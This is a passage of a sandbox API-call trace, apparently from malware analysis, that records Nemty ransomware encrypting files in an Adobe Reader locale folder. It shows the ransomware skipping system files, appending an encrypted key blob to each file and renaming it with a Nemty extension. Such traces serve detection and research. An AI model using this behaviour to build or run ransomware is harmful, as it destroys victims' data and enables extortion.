pszString="dc4UEUUHiydj2AHeabCOkrp6b2ogLKD829t9YUZtyNwhqzESDLpP9PZZE56UeZdl\r\nUrTMeg92Kbr+vLHaEyLV22VUytX3gvarG8cADDUtPNUuOLYfcXs+5dNY6wIKcJJp\r\n7FBHYAVF2qPsp8OOBdyIpvgEBRNH1vexcs0omt+jJGHB0cbclUZEhtdcbXWp9E4Y\r\n08qaqgZshM38mt3Hv03CIfCKAoNFUI74n31sD7H6eI/yepLf9Kjp6OPWTFBVdesy\r\nKS4Uj9H0ww4iup8HsQ9/aAMxBnUFcz4wTy/CWtjIFF42HUihIu5EKXRiLofH/ylW\r\np0L6UmXOo3MgBDEftGZ7Yg==\r\n", pcchString=0x653e5dc) returned 1 [0179.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.024] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\EScript.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\escript.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.025] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=32768) returned 1 [0179.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8000) returned 0x6352c48 [0179.025] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.025] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x8000, lpOverlapped=0x0) returned 1 [0179.028] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.028] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x8000, lpOverlapped=0x0) returned 1 [0179.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.029] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=32768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8000 [0179.029] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.029] CloseHandle (hObject=0x2e8) returned 1 [0179.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.029] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\EScript.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\escript.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\EScript.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\escript.jpn._nemty_kgobjgd_")) returned 1 [0179.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.030] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b0bba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.JPN", cAlternateFileName="")) returned 1 [0179.030] lstrcmpiW (lpString1="IA32.JPN", lpString2=".") returned 1 [0179.030] lstrcmpiW (lpString1="IA32.JPN", lpString2="..") returned 1 [0179.030] lstrcmpiW (lpString1="IA32.JPN", lpString2="...") returned 1 [0179.030] lstrcmpiW (lpString1="IA32.JPN", lpString2="windows") returned -1 [0179.030] lstrcmpiW (lpString1="IA32.JPN", lpString2="$RECYCLE.BIN") returned 1 [0179.030] lstrcmpiW (lpString1="IA32.JPN", lpString2="rsa") returned -1 [0179.030] lstrcmpiW (lpString1="IA32.JPN", lpString2="NTDETECT.COM") returned -1 [0179.030] lstrcmpiW (lpString1="IA32.JPN", lpString2="ntldr") returned -1 [0179.030] lstrcmpiW (lpString1="IA32.JPN", lpString2="MSDOS.SYS") returned -1 [0179.030] lstrcmpiW (lpString1="IA32.JPN", lpString2="IO.SYS") returned -1 [0179.030] lstrcmpiW (lpString1="IA32.JPN", lpString2="boot.ini") returned 1 [0179.030] lstrcmpiW (lpString1="IA32.JPN", lpString2="boot.ini") returned 1 [0179.030] lstrcmpiW (lpString1="IA32.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0179.030] lstrcmpiW (lpString1="IA32.JPN", lpString2="ntuser.dat") returned -1 [0179.030] lstrcmpiW (lpString1="IA32.JPN", lpString2="desktop.ini") returned 1 [0179.030] lstrcmpiW (lpString1="IA32.JPN", lpString2="CONFIG.SYS") returned 1 [0179.030] lstrcmpiW (lpString1="IA32.JPN", lpString2="RECYCLER") returned -1 [0179.031] lstrcmpiW (lpString1="IA32.JPN", lpString2="BOOTSECT.BAK") returned 1 [0179.031] lstrcmpiW (lpString1="IA32.JPN", lpString2="bootmgr") returned 1 [0179.031] lstrcmpiW (lpString1="IA32.JPN", lpString2="programdata") returned -1 [0179.031] lstrcmpiW (lpString1="IA32.JPN", lpString2="appdata") returned 1 [0179.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.JPN", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0179.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.JPN", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.JPN", lpUsedDefaultChar=0x0) returned 8 [0179.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.JPN", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0179.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.JPN", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.JPN", lpUsedDefaultChar=0x0) returned 8 [0179.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.JPN", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0179.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.JPN", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.JPN", lpUsedDefaultChar=0x0) returned 8 [0179.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.JPN", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0179.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.JPN", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.JPN", lpUsedDefaultChar=0x0) returned 8 [0179.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.031] Sleep (dwMilliseconds=0x5) [0179.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e5cc990, dwHighDateTime=0x1d561e8)) [0179.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e5cc990, dwHighDateTime=0x1d561e8)) [0179.039] GetLastError () returned 0x0 [0179.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.039] GetLastError () returned 0x0 [0179.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.039] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.039] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.039] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.039] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="mTC5YYbdmhDRcVZ/FZ21EkUhc4O0k0kYKdRRbBur5VwpuAIfzvYXXs55nM8EtATT\r\n0LVCTyiLHTjRbb5LV9mJL4MAqwLZyEkR64bxw9G76vMum0FkelMQBCOF236gySU/\r\nNZcerUgrRJCfy3axtOoTEoh9WOJAEP+mo7bre582py+k/wYEz8TwZ2gcZrl1F5wL\r\nl4JOoOZynMD8C7eQeb3mC2AXb2+ROGAvlWD0NctCYjIrvPnFAq5wzUd+csAm9PKm\r\nGbJ75EktvevFhIgW/XGyMLUx0xVGsiuBh1h64944uRV16Bt60TlDDY6sxFVFEf5k\r\n8csACqYNEwse1NLzyYZIqg==\r\n", pcchString=0x653e5dc) returned 1 [0179.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0179.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\IA32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ia32.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.040] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3072) returned 1 [0179.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc00) returned 0x634ad48 [0179.040] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.040] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xc00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xc00, lpOverlapped=0x0) returned 1 [0179.042] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.042] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xc00, lpOverlapped=0x0) returned 1 [0179.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0179.042] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0179.042] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.042] CloseHandle (hObject=0x2e8) returned 1 [0179.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0179.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0179.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0179.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.042] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\IA32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ia32.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\IA32.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ia32.jpn._nemty_kgobjgd_")) returned 1 [0179.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0179.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.043] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.JPN", cAlternateFileName="MAKEAC~1.JPN")) returned 1 [0179.043] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2=".") returned 1 [0179.043] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="..") returned 1 [0179.043] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="...") returned 1 [0179.043] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="windows") returned -1 [0179.043] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="$RECYCLE.BIN") returned 1 [0179.043] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="rsa") returned -1 [0179.043] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="NTDETECT.COM") returned -1 [0179.043] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="ntldr") returned -1 [0179.043] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="MSDOS.SYS") returned -1 [0179.043] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="IO.SYS") returned 1 [0179.043] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="boot.ini") returned 1 [0179.043] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="boot.ini") returned 1 [0179.043] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0179.043] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="ntuser.dat") returned -1 [0179.043] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="desktop.ini") returned 1 [0179.043] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="CONFIG.SYS") returned 1 [0179.043] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="RECYCLER") returned -1 [0179.044] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="BOOTSECT.BAK") returned 1 [0179.044] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="bootmgr") returned 1 [0179.044] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="programdata") returned -1 [0179.044] lstrcmpiW (lpString1="makeaccessible.JPN", lpString2="appdata") returned 1 [0179.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.JPN", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0179.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.JPN", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.JPN", lpUsedDefaultChar=0x0) returned 18 [0179.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0179.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.JPN", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0179.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.JPN", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.JPN", lpUsedDefaultChar=0x0) returned 18 [0179.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0179.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.JPN", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0179.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.JPN", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.JPN", lpUsedDefaultChar=0x0) returned 18 [0179.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.JPN", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0179.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.JPN", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.JPN", lpUsedDefaultChar=0x0) returned 18 [0179.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.044] Sleep (dwMilliseconds=0x5) [0179.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: 